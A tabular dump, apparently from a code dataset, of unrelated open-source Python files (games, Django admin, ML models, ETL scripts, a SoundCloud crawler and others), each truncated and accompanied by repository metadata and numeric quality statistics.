while j < len(s2): #'inne... | 36.894737 | 100 | 0.46933 | 99 | 701 | 3.323232 | 0.525253 | 0.045593 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.052632 | 0.430813 | 701 | 18 | 101 | 38.944444 | 0.77193 | 0.340942 | 0 | 0 | 0 | 0 | 0.017621 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.0625 | false | 0 | 0 | 0 | 0.125 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e706666948f0a275a5dbfc4777f61a9c59c85d96 | 2,298 | py | Python | ping_pong.py | SteelAnge1/ping-pong | dfc5200f907e0d139649afcc880ea918dd6083f3 | [
"CC0-1.0"
] | null | null | null | ping_pong.py | SteelAnge1/ping-pong | dfc5200f907e0d139649afcc880ea918dd6083f3 | [
"CC0-1.0"
] | null | null | null | ping_pong.py | SteelAnge1/ping-pong | dfc5200f907e0d139649afcc880ea918dd6083f3 | [
"CC0-1.0"
] | null | null | null | from pygame import *
win_width=600
win_height=500
class GameSprite(sprite.Sprite):
def __init__(self, player_image, player_x, player_y, size_x, size_y, player_speed ):
super().__init__()
self.image = transform.scale(image.load(player_image), (size_x, size_y))
self.speed = player_s... | 26.72093 | 89 | 0.561793 | 344 | 2,298 | 3.598837 | 0.270349 | 0.084006 | 0.072698 | 0.038772 | 0.221325 | 0.172859 | 0.172859 | 0.172859 | 0.127625 | 0.127625 | 0 | 0.062461 | 0.303307 | 2,298 | 86 | 90 | 26.72093 | 0.710806 | 0 | 0 | 0.149254 | 0 | 0 | 0.029359 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.059701 | false | 0 | 0.014925 | 0 | 0.104478 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e707604999bdeed189d1ba802afd56ed532a88c3 | 2,121 | py | Python | companies/admin.py | Valuehorizon/valuehorizon-companies | 5366e230da69ee30fcdc1bf4beddc99310f6b767 | [
"MIT"
] | 1 | 2015-09-28T17:11:12.000Z | 2015-09-28T17:11:12.000Z | companies/admin.py | Valuehorizon/valuehorizon-companies | 5366e230da69ee30fcdc1bf4beddc99310f6b767 | [
"MIT"
] | 4 | 2020-02-11T22:59:54.000Z | 2021-06-10T17:55:15.000Z | companies/admin.py | Valuehorizon/valuehorizon-companies | 5366e230da69ee30fcdc1bf4beddc99310f6b767 | [
"MIT"
] | null | null | null | from django.contrib import admin
from datetime import *
from companies.models import Sector, IndustryGroup, Industry, SubIndustry
from companies.models import Company, Ownership, Director, Executive, CompanyNameChange
class SectorAdmin(admin.ModelAdmin):
search_fields=["name",]
list_display = ('name', 'sym... | 35.949153 | 101 | 0.754833 | 225 | 2,121 | 6.888889 | 0.262222 | 0.087097 | 0.121935 | 0.156774 | 0.405161 | 0.298065 | 0.273548 | 0.273548 | 0.273548 | 0.206452 | 0 | 0 | 0.110797 | 2,121 | 58 | 102 | 36.568966 | 0.821845 | 0.002829 | 0 | 0.181818 | 0 | 0 | 0.185045 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.090909 | 0 | 0.795455 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e708f0f5533cb309985218c0e13c8f1882c1ecf0 | 2,234 | py | Python | ocd_backend/enrichers/text_enricher/tasks/theme_classifier.py | aolieman/open-raadsinformatie | 66469fc924fb0d312607afe998d271bf6f55c9d6 | [
"MIT"
] | 23 | 2015-10-28T09:02:41.000Z | 2021-12-15T08:40:41.000Z | ocd_backend/enrichers/text_enricher/tasks/theme_classifier.py | aolieman/open-raadsinformatie | 66469fc924fb0d312607afe998d271bf6f55c9d6 | [
"MIT"
] | 326 | 2015-11-03T12:59:48.000Z | 2022-03-11T23:18:14.000Z | ocd_backend/enrichers/text_enricher/tasks/theme_classifier.py | aolieman/open-raadsinformatie | 66469fc924fb0d312607afe998d271bf6f55c9d6 | [
"MIT"
] | 10 | 2016-02-05T08:43:07.000Z | 2022-03-09T10:04:32.000Z | import operator
import requests
from ocd_backend.enrichers.text_enricher.tasks import BaseEnrichmentTask
from ocd_backend.models.definitions import Meeting as MeetingNS, Rdf
from ocd_backend.models.misc import Uri
from ocd_backend.settings import ORI_CLASSIFIER_HOST, ORI_CLASSIFIER_PORT
from ocd_backend.utils.http imp... | 32.376812 | 107 | 0.608774 | 261 | 2,234 | 5.02682 | 0.398467 | 0.079268 | 0.064024 | 0.030488 | 0.051829 | 0.051829 | 0 | 0 | 0 | 0 | 0 | 0.003157 | 0.290958 | 2,234 | 68 | 108 | 32.852941 | 0.825126 | 0.058639 | 0 | 0.081633 | 0 | 0 | 0.074392 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.020408 | false | 0 | 0.163265 | 0 | 0.285714 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e70abdf746f94ff1be56b5f084ab1342ab7e56e2 | 3,465 | py | Python | src/model/mlp.py | statsu1990/yoto_class_balanced_loss | d05c97c6cea08efa431d458897199bf940bce4a7 | [
"MIT"
] | 13 | 2020-05-04T01:19:32.000Z | 2022-03-09T03:03:01.000Z | src/model/mlp.py | statsu1990/yoto_class_balanced_loss | d05c97c6cea08efa431d458897199bf940bce4a7 | [
"MIT"
] | 1 | 2020-12-17T00:58:42.000Z | 2020-12-17T01:56:33.000Z | src/model/mlp.py | statsu1990/yoto_class_balanced_loss | d05c97c6cea08efa431d458897199bf940bce4a7 | [
"MIT"
] | 3 | 2020-07-01T06:14:24.000Z | 2022-01-06T04:08:48.000Z |
"""
YOU ONLY TRAIN ONCE: LOSS-CONDITIONAL TRAINING OF DEEP NETWORKS
# https://openreview.net/pdf?id=HyxY6JHKwr
For YOTO models, we condition the last layer of each convolutional block.
The conditioning MLP has one hidden layer with 256 units on Shapes3D and 512 units on CIFAR-10.
At training time we sample the... | 33.317308 | 104 | 0.583261 | 474 | 3,465 | 4.067511 | 0.251055 | 0.068465 | 0.079876 | 0.022822 | 0.327282 | 0.153527 | 0.098548 | 0.061203 | 0.034232 | 0 | 0 | 0.031977 | 0.305051 | 3,465 | 103 | 105 | 33.640777 | 0.768688 | 0.208947 | 0 | 0.12069 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.068966 | false | 0 | 0.051724 | 0 | 0.189655 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e70f113a220c3f243ab0f7dd157ded80f7e74758 | 4,616 | py | Python | util/counter.py | FadedCosine/POS-Guided-Neural-Text-Generation | 2b5c72d8f2e08cbf4fe0babc4a4f1db09b348505 | [
"Apache-2.0"
] | 2 | 2021-06-23T08:52:20.000Z | 2021-06-23T08:52:31.000Z | util/counter.py | FadedCosine/POS-Guided-Neural-Text-Generation | 2b5c72d8f2e08cbf4fe0babc4a4f1db09b348505 | [
"Apache-2.0"
] | null | null | null | util/counter.py | FadedCosine/POS-Guided-Neural-Text-Generation | 2b5c72d8f2e08cbf4fe0babc4a4f1db09b348505 | [
"Apache-2.0"
] | null | null | null | import collections
import pandas as pd
import numpy as np
import re
import os
def count(fl,target='input_context',checks='input_keyword', vocab_size=10000):
cnter = collections.Counter()
s = set()
for filename in fl:
cur_df = pd.read_pickle(filename)
texts = cur_df[target].tolist()
... | 27.807229 | 95 | 0.581672 | 655 | 4,616 | 3.926718 | 0.180153 | 0.029938 | 0.020995 | 0.017107 | 0.251555 | 0.145801 | 0.101477 | 0.073872 | 0.05832 | 0.031104 | 0 | 0.019074 | 0.307192 | 4,616 | 165 | 96 | 27.975758 | 0.785178 | 0.006283 | 0 | 0.258993 | 0 | 0 | 0.010039 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.079137 | false | 0 | 0.035971 | 0 | 0.194245 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e7118f625a826be6f20337e189488ef58415fddb | 1,972 | py | Python | sdk/python/tests/compiler/testdata/tekton_loop_dsl.py | kubeflow/kfp-tekton | b16bd8863aaf36de240b7306f501d62b95f01f31 | [
"Apache-2.0"
] | 102 | 2019-10-23T20:35:41.000Z | 2022-03-27T10:28:56.000Z | sdk/python/tests/compiler/testdata/tekton_loop_dsl.py | kubeflow/kfp-tekton | b16bd8863aaf36de240b7306f501d62b95f01f31 | [
"Apache-2.0"
] | 891 | 2019-10-24T04:08:17.000Z | 2022-03-31T22:45:40.000Z | sdk/python/tests/compiler/testdata/tekton_loop_dsl.py | kubeflow/kfp-tekton | b16bd8863aaf36de240b7306f501d62b95f01f31 | [
"Apache-2.0"
] | 85 | 2019-10-24T04:04:36.000Z | 2022-03-01T10:52:57.000Z | # Copyright 2021 kubeflow.org
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing... | 34 | 76 | 0.674949 | 274 | 1,972 | 4.689781 | 0.467153 | 0.046693 | 0.042802 | 0.024903 | 0.245914 | 0.245914 | 0.245914 | 0.245914 | 0.245914 | 0.178988 | 0 | 0.023271 | 0.215517 | 1,972 | 57 | 77 | 34.596491 | 0.807369 | 0.462475 | 0 | 0 | 0 | 0 | 0.361886 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.032258 | false | 0 | 0.129032 | 0 | 0.16129 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e715ae23973f203c68cfe998932183b2bad3bee2 | 6,966 | py | Python | excptr/excptr.py | kakkarja/Excptr | 2ed1b40da339130eb15770c1cc91e94e3a17690f | [
"BSD-3-Clause"
] | null | null | null | excptr/excptr.py | kakkarja/Excptr | 2ed1b40da339130eb15770c1cc91e94e3a17690f | [
"BSD-3-Clause"
] | null | null | null | excptr/excptr.py | kakkarja/Excptr | 2ed1b40da339130eb15770c1cc91e94e3a17690f | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
# Copyright (c) 2022, KarjaKAK
# All rights reserved.
from functools import wraps
from textwrap import fill
from contextlib import redirect_stdout
from datetime import datetime as dt
import io, inspect, os, sys
__all__ = ['']
DIRPATH = (
os.environ["USERPROFILE"] if sys.platform.startsw... | 30.419214 | 87 | 0.47617 | 786 | 6,966 | 4.148855 | 0.310433 | 0.016559 | 0.008586 | 0.020853 | 0.26035 | 0.217111 | 0.202392 | 0.202392 | 0.147807 | 0.147807 | 0 | 0.020863 | 0.401378 | 6,966 | 228 | 88 | 30.552632 | 0.761151 | 0.034597 | 0 | 0.252747 | 0 | 0.010989 | 0.143305 | 0.030335 | 0 | 0 | 0 | 0 | 0 | 1 | 0.054945 | false | 0 | 0.038462 | 0 | 0.137363 | 0.071429 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e7184bb619f9cf0c50a0b0b91431faa51ba55646 | 4,968 | py | Python | fbms/create_fg_bg_masks.py | MSiam/segment-any-moving | 82cb782867d866d2f4eb68230edb75f613e15a02 | [
"Apache-2.0"
] | 70 | 2019-09-16T17:55:55.000Z | 2022-03-07T00:26:53.000Z | fbms/create_fg_bg_masks.py | MSiam/segment-any-moving | 82cb782867d866d2f4eb68230edb75f613e15a02 | [
"Apache-2.0"
] | 9 | 2019-09-30T09:15:11.000Z | 2021-07-21T11:33:13.000Z | fbms/create_fg_bg_masks.py | MSiam/segment-any-moving | 82cb782867d866d2f4eb68230edb75f613e15a02 | [
"Apache-2.0"
] | 5 | 2019-09-25T05:14:37.000Z | 2021-07-08T20:13:47.000Z | """Create foreground/background motion masks from detections."""
import argparse
import logging
import pickle
import pprint
from pathlib import Path
import numpy as np
from PIL import Image
import pycocotools.mask as mask_util
from utils.fbms import utils as fbms_utils
from utils.log import add_time_to_path, setup_... | 35.741007 | 78 | 0.652576 | 582 | 4,968 | 5.292096 | 0.254296 | 0.040909 | 0.028571 | 0.019481 | 0.127597 | 0.110065 | 0.092532 | 0.026623 | 0 | 0 | 0 | 0.003236 | 0.253623 | 4,968 | 138 | 79 | 36 | 0.8274 | 0.067432 | 0 | 0.090909 | 0 | 0 | 0.093342 | 0.015448 | 0 | 0 | 0 | 0 | 0.050505 | 1 | 0.030303 | false | 0 | 0.10101 | 0 | 0.131313 | 0.020202 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e719d280906322349a44262ff73a7f9f71dcec17 | 511 | py | Python | web_app/main.py | dimagi/commcare-fhir-web-app | c0afec94a177b79ee8314ac29692d0697567e1f2 | [
"Apache-2.0"
] | null | null | null | web_app/main.py | dimagi/commcare-fhir-web-app | c0afec94a177b79ee8314ac29692d0697567e1f2 | [
"Apache-2.0"
] | 3 | 2021-04-19T16:03:45.000Z | 2021-05-06T11:11:21.000Z | web_app/main.py | dimagi/commcare-fhir-web-app | c0afec94a177b79ee8314ac29692d0697567e1f2 | [
"Apache-2.0"
] | null | null | null | from flask import Flask, render_template, request
from web_app.fhir_client import fetch_patient_data
app = Flask(__name__)
@app.route('/')
def root():
return render_template('root.html')
@app.route('/patient/')
def view_patient():
patient_id = request.args['patient_id']
patient, observations, diag_rep... | 22.217391 | 72 | 0.708415 | 62 | 511 | 5.516129 | 0.403226 | 0.122807 | 0.093567 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.183953 | 511 | 22 | 73 | 23.227273 | 0.820144 | 0 | 0 | 0 | 0 | 0 | 0.080235 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | false | 0 | 0.125 | 0.0625 | 0.375 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e71b58e87dfbb0a1a266b2ea42679908ef474085 | 1,070 | py | Python | plugml/dao.py | mkraemer67/plugml | d1702a2b733e0511c735fea08e30b5b3f959a174 | [
"Apache-2.0"
] | 1 | 2015-03-26T13:28:47.000Z | 2015-03-26T13:28:47.000Z | plugml/dao.py | mkraemer67/plugml | d1702a2b733e0511c735fea08e30b5b3f959a174 | [
"Apache-2.0"
] | null | null | null | plugml/dao.py | mkraemer67/plugml | d1702a2b733e0511c735fea08e30b5b3f959a174 | [
"Apache-2.0"
] | null | null | null | import psycopg2
class Dao:
def __init__(self, dbUrl):
self._url = dbUrl
def __enter__(self):
conn = psycopg2.connect(self._url)
self.conn = conn
class _Dao:
def get(self, table, orderBy="id", limit=None):
cursor = conn.cursor()
... | 32.424242 | 72 | 0.447664 | 111 | 1,070 | 4.171171 | 0.45045 | 0.038877 | 0.047516 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003306 | 0.434579 | 1,070 | 33 | 73 | 32.424242 | 0.761983 | 0 | 0 | 0.074074 | 0 | 0 | 0.084697 | 0 | 0.037037 | 0 | 0 | 0 | 0 | 1 | 0.185185 | false | 0 | 0.037037 | 0 | 0.407407 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e71fe0afc69089b13f571b743733ac7787ae15e6 | 394 | py | Python | website/models/home_tab.py | LKKTGB/lkk-website | d9cd2f5a11f2b4316ea4b242c5e09981207abdfb | [
"MIT"
] | null | null | null | website/models/home_tab.py | LKKTGB/lkk-website | d9cd2f5a11f2b4316ea4b242c5e09981207abdfb | [
"MIT"
] | 5 | 2020-04-26T09:03:33.000Z | 2022-02-02T13:00:39.000Z | website/models/home_tab.py | LKKTGB/lkk-website | d9cd2f5a11f2b4316ea4b242c5e09981207abdfb | [
"MIT"
] | null | null | null | from django.db import models
from django.utils.translation import ugettext_lazy as _
class HomeTab(models.Model):
name = models.CharField(_('home_tab_name'), max_length=100)
order = models.PositiveSmallIntegerField(_('home_tab_order'))
class Meta:
verbose_name = _('home_tab')
verbose_name... | 26.266667 | 65 | 0.708122 | 49 | 394 | 5.285714 | 0.612245 | 0.081081 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009404 | 0.190355 | 394 | 14 | 66 | 28.142857 | 0.802508 | 0 | 0 | 0 | 0 | 0 | 0.111675 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1 | false | 0 | 0.2 | 0.1 | 0.8 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e726ce3420ac33849733ba1549bfbf5f6cbd4bab | 2,085 | py | Python | src/Chap13_Lab_PageRank.py | falconlee236/CodingTheMatrix-Answer | 4fab8087bde352913da71c8d86b802a93231b1b5 | [
"MIT"
] | null | null | null | src/Chap13_Lab_PageRank.py | falconlee236/CodingTheMatrix-Answer | 4fab8087bde352913da71c8d86b802a93231b1b5 | [
"MIT"
] | null | null | null | src/Chap13_Lab_PageRank.py | falconlee236/CodingTheMatrix-Answer | 4fab8087bde352913da71c8d86b802a93231b1b5 | [
"MIT"
] | null | null | null | from pagerank_test import small_links, A2
from pagerank import find_word, read_data
from vec import Vec
from mat import Mat
from math import sqrt
# Task 13.12.1
def find_num_links(L):
return Vec(L.D[0], {key: 1 for key in L.D[0]}) * L
# Task 13.12.2
def make_Markov(L):
num_links = find_num_links(L)
... | 20.441176 | 73 | 0.608633 | 379 | 2,085 | 3.208443 | 0.208443 | 0.039474 | 0.052632 | 0.024671 | 0.322368 | 0.3125 | 0.3125 | 0.3125 | 0.3125 | 0.3125 | 0 | 0.060051 | 0.241247 | 2,085 | 101 | 74 | 20.643564 | 0.708597 | 0.0494 | 0 | 0.4 | 0 | 0 | 0.019847 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.109091 | false | 0 | 0.090909 | 0.018182 | 0.290909 | 0.090909 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e7276f28ac4e072f7bd65b6f8eba2b3bc1b6fc22 | 4,695 | py | Python | tasks/parsing/parsers.py | rasmusbergpalm/attend-copy-parse | 4673be36db64e982ceabc1e29ff34a296917f969 | [
"MIT"
] | 8 | 2021-05-11T12:12:23.000Z | 2022-02-10T09:56:14.000Z | tasks/parsing/parsers.py | karimcossentini/attend-copy-parse | 4acbe7bfc2be1b5c21c197a44b27143a9422b426 | [
"MIT"
] | 3 | 2021-08-11T06:44:56.000Z | 2022-03-14T09:16:03.000Z | tasks/parsing/parsers.py | rasmusbergpalm/attend-copy-parse | 4673be36db64e982ceabc1e29ff34a296917f969 | [
"MIT"
] | 2 | 2021-05-22T07:41:21.000Z | 2021-05-26T12:39:02.000Z | import tensorflow as tf
from tensorflow.contrib import layers
from tensorflow.contrib.cudnn_rnn import CudnnLSTM
from tensorflow.contrib.cudnn_rnn.python.layers.cudnn_rnn import CUDNN_RNN_BIDIRECTION
import os
from tasks.acp.data import RealData
class Parser:
def parse(self, x, context, is_training):
rais... | 35.568182 | 140 | 0.613845 | 687 | 4,695 | 4 | 0.20524 | 0.041485 | 0.058224 | 0.039301 | 0.41048 | 0.308588 | 0.247089 | 0.157205 | 0.115721 | 0.086608 | 0 | 0.028242 | 0.260916 | 4,695 | 131 | 141 | 35.839695 | 0.763689 | 0.119702 | 0 | 0.256098 | 0 | 0 | 0.030049 | 0.01133 | 0 | 0 | 0 | 0 | 0 | 1 | 0.158537 | false | 0 | 0.073171 | 0.060976 | 0.47561 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e72ac116e6c24e4369118ac69de62498b785f6e9 | 7,297 | py | Python | scripts/etl/constants.py | lcbm/cs-data-viz | 9272833b612b8921fe21b1196904e40f9e827e0e | [
"0BSD"
] | null | null | null | scripts/etl/constants.py | lcbm/cs-data-viz | 9272833b612b8921fe21b1196904e40f9e827e0e | [
"0BSD"
] | null | null | null | scripts/etl/constants.py | lcbm/cs-data-viz | 9272833b612b8921fe21b1196904e40f9e827e0e | [
"0BSD"
] | null | null | null | """ File with the definitions of constants for the ETL scripts. """
SCRIPTS_DIR = "scripts"
SCRIPTS_ETL_DIR = f"{SCRIPTS_DIR}/etl"
SCRIPTS_ETL_TRANSFORM = f"{SCRIPTS_ETL_DIR}/transform.sh"
VENV_BIN = ".venv/bin"
VENV_KAGGLE_BIN = f"{VENV_BIN}/kaggle"
DOCKER_DIR = "docker"
ENVARS_DIR = f"{DOCKER_DIR}/env.d"
DATA_DIR =... | 33.319635 | 93 | 0.771139 | 947 | 7,297 | 5.346357 | 0.145723 | 0.142208 | 0.071104 | 0.028442 | 0.48094 | 0.259332 | 0.122062 | 0.065574 | 0.065574 | 0.065574 | 0 | 0.005047 | 0.131013 | 7,297 | 218 | 94 | 33.472477 | 0.793408 | 0.008086 | 0 | 0.0625 | 0 | 0 | 0.222268 | 0.097372 | 0 | 0 | 0 | 0 | 0 | 1 | 0.010417 | false | 0 | 0 | 0.005208 | 0.020833 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e72ac9ee875861cb5ac036cb18ed4ef985d32680 | 3,262 | py | Python | SouthernOceanTopography3D.py | cesar-rocha/SouthernOceanTopography | 10e698e01e8435ae35ef028437d7a881fa3e5585 | [
"MIT"
] | null | null | null | SouthernOceanTopography3D.py | cesar-rocha/SouthernOceanTopography | 10e698e01e8435ae35ef028437d7a881fa3e5585 | [
"MIT"
] | null | null | null | SouthernOceanTopography3D.py | cesar-rocha/SouthernOceanTopography | 10e698e01e8435ae35ef028437d7a881fa3e5585 | [
"MIT"
] | 1 | 2020-12-11T02:15:56.000Z | 2020-12-11T02:15:56.000Z |
# coding: utf-8
# This script makes a 3D plot of the Southern Ocean topography.
#
# The data comes from some geophysiscists at Columbia. The product is "MGDS: Global Multi-Resolution Topography". These folks took all multibeam swath data that they can get their hands on and filled gaps with Smith and Sandwell. See ht... | 23.467626 | 292 | 0.671061 | 532 | 3,262 | 4.071429 | 0.402256 | 0.024931 | 0.020776 | 0.027701 | 0.147276 | 0.099261 | 0.099261 | 0.099261 | 0.099261 | 0.087719 | 0 | 0.043741 | 0.137952 | 3,262 | 138 | 293 | 23.637681 | 0.726529 | 0.232066 | 0 | 0.056338 | 0 | 0 | 0.054282 | 0.018496 | 0 | 0 | 0 | 0 | 0 | 1 | 0.028169 | false | 0 | 0.15493 | 0 | 0.211268 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e72e5ca0d5f1fd1ab089d27e8486d4e08350c674 | 2,136 | py | Python | tests/performance_test.py | CMU-TBD/behavior_machine | b403192b8002603fc20c76713c7a9fe46a7ed686 | [
"MIT"
] | 1 | 2020-07-28T20:17:52.000Z | 2020-07-28T20:17:52.000Z | tests/performance_test.py | CMU-TBD/behavior_machine | b403192b8002603fc20c76713c7a9fe46a7ed686 | [
"MIT"
] | 1 | 2021-01-25T15:54:45.000Z | 2021-01-25T15:54:45.000Z | tests/performance_test.py | CMU-TBD/behavior_machine | b403192b8002603fc20c76713c7a9fe46a7ed686 | [
"MIT"
] | 1 | 2021-01-22T06:12:10.000Z | 2021-01-22T06:12:10.000Z | from behavior_machine.library.parallel_state import ParallelState
import time
from behavior_machine.core import Board, StateStatus, State, Machine, machine
from behavior_machine.library import IdleState
def test_repeat_node_in_machine_fast():
counter = 0
class CounterState(State):
def execute(self,... | 27.384615 | 77 | 0.654963 | 269 | 2,136 | 5.05948 | 0.27881 | 0.057311 | 0.044085 | 0.047024 | 0.551065 | 0.551065 | 0.505511 | 0.476121 | 0.476121 | 0.476121 | 0 | 0.038037 | 0.236891 | 2,136 | 77 | 78 | 27.74026 | 0.796933 | 0.047285 | 0 | 0.578947 | 0 | 0 | 0.023141 | 0 | 0 | 0 | 0 | 0 | 0.087719 | 1 | 0.105263 | false | 0 | 0.070175 | 0.017544 | 0.280702 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e72ec4ac47db8b60c5ca290dce90179f2358006a | 3,580 | py | Python | scdown/sc.py | chrisjr/scdown | fe82dce52884661297ecf640cd3ffd18c76ffc25 | [
"MIT"
] | null | null | null | scdown/sc.py | chrisjr/scdown | fe82dce52884661297ecf640cd3ffd18c76ffc25 | [
"MIT"
] | null | null | null | scdown/sc.py | chrisjr/scdown | fe82dce52884661297ecf640cd3ffd18c76ffc25 | [
"MIT"
] | null | null | null | import soundcloud
import os
import logging
from datetime import datetime
import requests
import sys
from celeryconfig import mongolab
import pymongo
from pymongo import MongoClient
from pymongo.errors import OperationFailure
USER = '/users/{_id}'
USER_TRACKS = '/users/{_id}/tracks'
USER_FOLLOWINGS = '/users/{_id}/fol... | 30.862069 | 75 | 0.572626 | 440 | 3,580 | 4.452273 | 0.236364 | 0.033691 | 0.022971 | 0.016335 | 0.161307 | 0.161307 | 0.114344 | 0.0878 | 0.0878 | 0.03267 | 0 | 0.002854 | 0.314804 | 3,580 | 115 | 76 | 31.130435 | 0.79576 | 0.00838 | 0 | 0.081633 | 0 | 0 | 0.106095 | 0.038939 | 0 | 0 | 0 | 0 | 0 | 1 | 0.081633 | false | 0 | 0.102041 | 0 | 0.346939 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
